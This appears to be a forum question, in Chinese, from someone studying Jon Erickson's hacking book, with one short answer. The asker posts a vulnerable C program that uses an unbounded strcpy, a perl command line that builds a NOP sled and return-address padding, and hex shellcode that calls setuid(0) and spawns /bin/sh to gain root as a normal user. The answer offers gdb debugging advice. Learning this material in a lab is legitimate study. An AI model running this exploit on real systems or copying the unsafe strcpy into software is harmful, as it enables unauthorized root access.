尝试使用perl进行堆栈溢出

时间:2015-10-29 17:52:31

标签: perl fault shellcode

我正在尝试使用perl进行堆栈溢出(当然使用普通用户获取root权限(使用shellcode))。我正在和Jon Erickson的书学习黑客,如果你能帮我一点,我会很高兴的。 我输入这个命令:

./vuln `perl -e 'print "\x90"x202'``cat shellcode``perl -e 'print "\x70\xcc\x81\xbe"x70;'`

vuln

int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

shellcode

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

我得到"分段错误"。我知道我需要填写每个ret地址,但无论我做什么,当我尝试粘贴超过67个ESP(堆栈指针)时,我会收到此错误。

1 个答案:

答案 0 :(得分:0)

尝试在gdb下运行该程序,看看它崩溃的位置。在您的漏洞利用中合并cat file时要特别注意的一点是,它可能附加一个新行\n字节并导致您的shellcode不对齐。